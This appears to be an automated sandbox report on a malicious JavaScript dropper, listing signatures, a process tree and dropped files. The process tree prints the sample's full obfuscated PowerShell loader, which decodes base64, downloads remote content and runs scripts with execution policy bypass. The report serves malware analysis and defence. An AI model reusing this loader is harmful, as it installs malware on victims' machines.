Overview

overview

8

Static

static

1

E005311100...081.js

windows10-2004-x64

8

E005311100...081.js

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    298s
  • max time network
    126s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/08/2026, 04:07

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    E0053111000551210081.js
  • Size 43KB
  • Sample260824-ep3mlax1bx
  • SHA256 7de0f3d82b7218392cceac8513b45cb2b12de2a4dbb9287426060b048a5931ae
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
executionpersistenceprivilege_escalation

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\E0053111000551210081.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2300
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Public\byvql.js"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3076
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c ";$GNozr = $null ;;$LYKyM ;;$GkhZT ;;$GkhZT = 'DQp' + '0' + 'cnl7DQo7JE' + ' + 9 + ' + 'jckptTC' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQml' + '0' + 'Q2' + ' + 9 + ' + 'udmVydGVyXTo6R2V' + '0' + 'Qnl' + '0' + 'ZXMoNj' + 'A' + '4Mj' + 'A' + 'wNCk7DQokclVwVndPQTUgPS' + 'A' + 'xNTsNCiRYVjRSID' + '0' + 'gJzU5NTQ3YjNmNzE1NDU1NTU1ODUzM2Y3NjVjNTc3NjNmNWM2MzYwODc1ZDUzNTQzZjVjNj' + 'A' + '3YTVhNTg1MjUwNzY1ODU1ODM2MjczNjY' + '0' + 'NDNmNz' + 'A' + '2NjQwN2I1YjdhN2I4NDczNTY2NTg4NzE' + '0' + 'MjUxNjM2OTY3NTk' + '0' + 'MTcwNjY1ZDdiNzI4ODQ' + '0' + 'NWQ2ODY3NTk4OTcwNTY1NTgyNjc2MzdlNDU2NTQyNTk3ZjczNTY2NTU5NzE3ZDYwODk1Yzc4NzY3YTYzNTU3MzgyNj' + 'A' + '' + '0' + 'MTQzODI1ODUyNjE1OTczNTY4NzUxNjE2MjdhNGMnOw' + '0' + 'KOw' + '0' + 'KZnVuY3Rpb24gTG' + ' + 9 + ' + 'hZEJ1ZmZlcjk2KCRoLC' + 'A' + 'kcykgezsNCi' + 'A' + 'gIC' + 'A' + 'kcXFzYmNQci' + 'A' + '' + ' + 9 + ' + 'ICcnOw' + '0' + 'KIC' + 'A' + 'gIGZvci' + 'A' + 'oJGkgPS' + 'A' + 'wOy' + 'A' + 'kaS' + 'A' + 'tbHQgJGguTGVuZ3RoOy' + 'A' + 'kaS' + 'A' + 'rPS' + 'A' + 'yKSB7Ow' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gICBbdm' + ' + 9 + ' + 'pZF' + '0' + 'oJGkgLWJ4b3IgMzIpOw' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gIC' + 'A' + 'kYi' + 'A' + '' + ' + 9 + ' + 'IFtDb252ZXJ' + '0' + 'XTo6VG' + ' + 9 + ' + 'JbnQzMigkaC5TdWJzdHJpbmcoJGksIDIpLC' + 'A' + 'xNik7DQogIC' + 'A' + 'gIC' + 'A' + 'gICRxcXNiY1ByICs' + ' + 9 + ' + 'IFtjaGFyXSgoJGIgLS' + 'A' + 'kcy' + 'A' + 'rIDI1NikgJS' + 'A' + 'yNTYpOw' + '0' + 'KIC' + 'A' + 'gIH' + '0' + '7DQogIC' + 'A' + 'gcmV' + '0' + 'dXJuICRxcXNiY1ByOw' + '0' + 'KfTsNCiRNTTB6ZkpzID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ' + '0' + 'XTo6RnJvbUJhc2U2NFN' + '0' + 'cmluZygkKExvYWRCdWZmZXI5Ni' + 'A' + 'kWFY' + '0' + 'Ui' + 'A' + 'kclVwVndPQTUpKSk7DQpJbnZva2UtQ2' + ' + 9 + ' + 'tbWFuZC' + 'A' + 'oW1NjcmlwdEJsb2NrXTo6Q3JlYXRlKCRNTTB6ZkpzKSk7DQp' + ' + 9 + ' + 'IGNhdGNoew' + '0' + 'KfQ' + '0' + 'KDQo7DQo7aXBjb25maWcgL3JlbGVhc2UgfCBPdXQtTnVsbDsNCjtpcGNvbmZpZy' + 'A' + 'vcmVuZXcgfCBPdXQtTnVsbDsNCjtuZXRzaCB3aW5zb2NrIHJlc2V' + '0' + 'IHwgT3V' + '0' + 'LU51bGw7DQo7bmV' + '0' + 'c2ggaW5' + '0' + 'IGlwIHJlc2V' + '0' + 'IHwgT3V' + '0' + 'LU51bGw7DQoNClN' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1T' + 'ZW' + 'NvbmRzIDYgOw' + '0' + 'KDQpbU3lzdGVtLk5ldC5TZXJ2aWNlUG' + ' + 9 + ' + 'pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbC' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2xUeXBlXTo6VGxzMTIgLWJvciBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEzIDsNCg' + '0' + 'KOyRzbXl4SzsNCjtGdW5jdGlvbiBkV3ZMT3s7DQo7W2J5dGVbXV' + '0' + 'kRFZLWV' + 'A' + 'gPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm' + ' + 9 + ' + 'tQmFzZTY' + '0' + 'U3RyaW5nKC' + 'A' + 'kc215eEsgKTsNCjskZmpkTWYgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZyggJERWS1lQICk7DQo7cmV' + '0' + 'dXJuICRmamRNZjsNCn' + '0' + '7DQoNCiRkV1dDTi' + 'A' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ2J4aGJqLnR4dCcpIDskaFJsYWkgPS' + 'A' + 'nYUhSMGNITTZMeScgKy' + 'A' + 'oJzloYiRfJF8kXyRfJF8kX1J5WldabGJHbHdaV1J2YiRfJF8kXyRfJF8kX' + '0' + 'Z6WTJsdFpURTNPRE' + '0' + '' + '0' + 'TicgLXJlcGxhY2UgLC' + 'A' + 'nXCRfXCRfXCRfXCRfXCRfXCRfJywgJ2' + '0' + 'nKS' + 'A' + 'rICdqazFPVFE1TnpndU1qQXlNRE14TWk1dFpYVnphWFJsYUc5emRHZGhkRzl5TG1OdmJTNWljaTlrUkZsd1ZGOHhOMTh3TjE5TlpYVnpYMkZ5Y1hWcGRtOXpYMFJsWDFSbGVIUnZMekF6TG5SNGRBPT' + '0' + 'nIDskc215eEsgPS' + 'A' + 'kaFJsYWk7ICRoUmxhaS' + 'A' + '' + ' + 9 + ' + 'IGRXdkxPIDskaFJsYWkgfCBPdXQtRmlsZS' + 'A' + 'tRmlsZVBhdGggJGRXV' + '0' + 'NOIC1FbmNvZGluZy' + 'A' + 'nVVRGOCcgLWZvcmNlIDs7JE15VENtID' + '0' + 'gKC' + 'A' + 'nQzpcVXNlcnNcUHVibGljXCcgKy' + 'A' + 'ncnZtcHMudHh' + '0' + 'JykgOyRmbWdrci' + 'A' + '' + ' + 9 + ' + 'IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5X' + 'ZW' + 'JDbGllbnQgOyRmbWdrci5FbmNvZGluZy' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjggOyRmbWdrci5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OkNhY2hlQ2' + ' + 9 + ' + 'udHJvbCwgJ25vLWNhY2hlJykgOyRmbWdrci5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OlByYWdtYSwgJ25vLWNhY2hlJykgOyRmbWdrci5Qcm' + ' + 9 + ' + '4eS' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYlJlcXVlc3RdOjpHZXRTeXN' + '0' + '' + 'ZW' + '1X' + 'ZW' + 'JQcm' + ' + 9 + ' + '4eSgpIDskZm1na3IuUHJveHkuQ3JlZGVudGlhbHMgPSBbU3lzdGVtLk5ldC5DcmVk' + 'ZW' + '5' + '0' + 'aWFsQ2FjaGVdOjpE' + 'ZW' + 'ZhdWx' + '0' + 'TmV' + '0' + 'd2' + ' + 9 + ' + 'ya' + '0' + 'Ny' + 'ZW' + 'RlbnRpYWxzIDskWkRyalYgID' + '0' + 'gKCBHZXQtQ2' + ' + 9 + ' + 'udGVudC' + 'A' + 'tUGF' + '0' + 'aC' + 'A' + 'kZFdXQ' + '0' + '4gKS' + 'A' + '7JFN6S3dWID' + '0' + 'gJGZtZ2tyLkRvd25sb2FkRGF' + '0' + 'YSggJFpEcmpWLlRyaW' + '0' + 'oKS' + 'A' + 'pIDskcGZ4anogPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZygkU3pLd1YpIDskcGZ4anogPS' + 'A' + 'oQChbcmVnZXhdOjpzcGxpdCgkcGZ4anosJ1wleCUrJykpWzFdKS5UcmltKCkgOyRwZnhqeiB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kTXlUQ2' + '0' + 'gLWZvcmNlIDs7JFNEZHd3ID' + '0' + 'gJ' + '0' + 'xvJy' + 'A' + 'rICdhZCc7JEhJd1laID' + '0' + 'gJ' + '0' + 'Fzc2UnICsgJ21ibHknOyRzWUtVUi' + 'A' + '' + ' + 9 + ' + 'ICdpbnYnICsgJ2' + ' + 9 + ' + 'rZSc7JHhVdEdBID' + '0' + 'gJ1JlZmxlJy' + 'A' + 'rICdjdGlvbic7JHN' + '0' + 'V2lsID' + '0' + 'gJG51bGw7OyRqaHliZy' + 'A' + 'rPS' + 'A' + 'nJFJCQmZaID' + '0' + 'gKCcnaCB' + '0' + 'IHRwcy' + 'A' + '6IC8gLycnLlJlcGxhY2UoJycgJycsICcnJycpICsgJydhbmRy' + 'ZW' + 'ZlbGlw' + 'ZW' + 'RvbmFzY2ltZTE3ODM4Njk1OTQ5NzguMj' + 'A' + 'yMDMxMi5tZXVzaXRlaG' + ' + 9 + ' + 'zdGdhdG' + ' + 9 + ' + 'yLmNvbS5ici8nJy' + 'A' + 'rICcnZERZcFRfMTdfMDdfTWV1c1' + ' + 9 + ' + 'hcnF1aXZvc1' + ' + 9 + ' + 'EZV' + ' + 9 + ' + 'UZXh' + '0' + 'by8nJy' + 'A' + 'rICcnUGVObycnKS' + 'A' + '7Jy' + 'A' + '7JGpoeWJnICs' + ' + 9 + ' + 'ICckemdIb1cgPS' + 'A' + 'nJyViYXNlNjQlZEhoMExtTXZlRzB1YjNKcGRHVnlkWFLnt5Jkbee3kjJMeTg2YzNCMGRHZz' + '0' + 'nJy' + 'A' + '7JHpnSG' + ' + 9 + ' + 'XID' + '0' + 'gKCR6Z' + '0' + 'hvVy' + 'A' + 'tcmVwbGFjZS' + 'A' + 'nJ+e3kicnICwgJydsJycpIDs7JGNURnpOID' + '0' + 'gKC' + 'A' + 'nJ' + '0' + 'M6XFVzZXJzXFB1YicnICsgJydsaWNcJycgKy' + 'A' + 'nJ3J2bXBzLnR4dCcnKS' + 'A' + '7JHF4dGtxID' + '0' + 'gKEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRjVEZ6Ti' + 'A' + 'tRW5jb2RpbmcgVVRGOCk7Jy' + 'A' + '7JGpoeWJnICs' + ' + 9 + ' + 'ICckcXh' + '0' + 'a3EgLXJlcGxhY2UgJycgJycsICcnJycgOycgOyRqaHliZy' + 'A' + 'rPS' + 'A' + 'nW2J5dGVbXV' + '0' + 'kY2t6cH' + 'A' + 'gPSBbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXV' + '0' + '6Om5ldygpOycgOyRqaHliZy' + 'A' + 'rPS' + 'A' + 'nJGNrenBwID' + '0' + 'gKCRxeHRrcS' + 'A' + 'gLXNwbGl' + '0' + 'ICcnLCcnIHwgRm' + ' + 9 + ' + 'yRWFjaC1PYmplY3QgeyBbYnl' + '0' + 'ZV' + '0' + 'oJF8uVHJpbSgpKSB' + ' + 9 + ' + 'KS' + 'A' + '7Jzskamh5YmcgKz' + '0' + 'gJyR3bUh4Ry' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uJy' + 'A' + 'rICR4VXRHQS' + 'A' + 'rICcuJy' + 'A' + 'rICRISXd' + 'ZW' + 'i' + 'A' + 'rICddOjonICsgJFNEZHd3ICsgJyggJGNrenBwICk7Jy' + 'A' + '7JGpoeWJnICs' + ' + 9 + ' + 'ICckanRWbGIgPS' + 'A' + 'kd21IeEcuR2V' + '0' + 'VHlwZSggJydDbGFzc' + '0' + 'xpYnJhcnkzLkNsYXNzMScnICk7Jy' + 'A' + '7JGpoeWJnICs' + ' + 9 + ' + 'ICckQ1NZdFUgPS' + 'A' + 'kanRWbGIuR2V' + '0' + 'TWV' + '0' + 'aG' + ' + 9 + ' + 'kKC' + 'A' + 'nJ3ByRlZJJycgKS4nICsgJHNZS1VSICsgJyggJHN' + '0' + 'V2lsICwgW2' + ' + 9 + ' + 'iamVjdFtdXS' + 'A' + 'oICR6Z' + '0' + 'hvVy' + 'A' + 'sICcnJX' + 'ZW' + 'bEd6JScnICwgJydEIEREQzpcV2luZG' + ' + 9 + ' + '3c1xleHBsb3JlcicnLC' + 'A' + 'nJyRmYWxzZScnLC' + 'A' + 'kUkJCZlogKS' + 'A' + 'pOycgOyR1am' + ' + 9 + ' + 'uWC' + 'A' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ3B2bG52Xz' + 'A' + 'xLnBzMScgKS' + 'A' + '7JGpoeWJnIHwgT3V' + '0' + 'LUZpbGUgLUZpbGVQYXRoICR1am' + ' + 9 + ' + 'uWC' + 'A' + 'tZm' + ' + 9 + ' + 'yY2UgO1N' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1zIDU7O3Bvd2Vyc2hlbGwgLUV4' + 'ZW' + 'N1dGlvblBvbGljeSBieXBhc3MgLUZpbGUgJHVqb25YIDs=' ;;$LYKyM ;;$WsBve = ($GkhZT + $LYKyM) ;;$rssdf = $WsBve ;$rssdf = $rssdf.replace('''',$GNozr) ;$rssdf = $rssdf.replace('+ ',$GNozr) ;$rssdf = $rssdf.replace(' ',$GNozr) ;Function vNiye{;$UekUx = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String( $rssdf ));return $UekUx;};$UWaXS = vNiye; $UWaXS = ($UWaXS -replace '%vVlGz%','C:\Users\Public\byvql的这五js') ;$MVEsl = 'C:\Users\Public\lzxwl.p' + 's1' ; $UWaXS | Out-File -FilePath $MVEsl -force ; powershell -ExecutionPolicy Bypass -file $MVEsl ; "
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4460
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\lzxwl.ps1
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5700
          • C:\Windows\system32\ipconfig.exe
            "C:\Windows\system32\ipconfig.exe" /release
            5⤵
            • Gathers network information
            PID:1928
          • C:\Windows\system32\ipconfig.exe
            "C:\Windows\system32\ipconfig.exe" /renew
            5⤵
            • Gathers network information
            PID:3124
          • C:\Windows\system32\netsh.exe
            "C:\Windows\system32\netsh.exe" winsock reset
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:3440
          • C:\Windows\system32\netsh.exe
            "C:\Windows\system32\netsh.exe" int ip reset
            5⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:3224
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\pvlnv_01.ps1
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3136

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        ModuleAnalysisCache
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 67KB
        • SHA256 d18285b58743ea648b8945122e6ec07c806201c7bbc3ca2c1d882a18510ccb33
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 edf13b0524472180bf21fe6c61dfc27b2f10aa0dfbd0d839c0a2ef8c00504383
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 33209aeab3018a759b3b3e79910241761af29e06bc80c1bceb1dff055ec73b9c
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_k3dgimya.qbs.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k3dgimya.qbs.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        lzxwl.ps1
        • Path C:\Users\Public\lzxwl.ps1
        • Size 6KB
        • SHA256 2f18ea84cf67300855ab7414968dcb9e29c9fcef21abb78f7db8b72a2c7b312d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        pvlnv_01.ps1
        • Path C:\Users\Public\pvlnv_01.ps1
        • Size 1KB
        • SHA256 b7423f0dd7e7b928ad87014b2b6fd4fef3c939e4438ad11ac1813371bf821202
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        rvmps.txt
        • Path C:\Users\Public\rvmps.txt
        • Size 2B
        • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
        • MD5 SHA1 SHA512
        Submit Download

        memory/4460-2-0x000001DDEF2D0000-0x000001DDEF2F2000-memory.dmp
        Download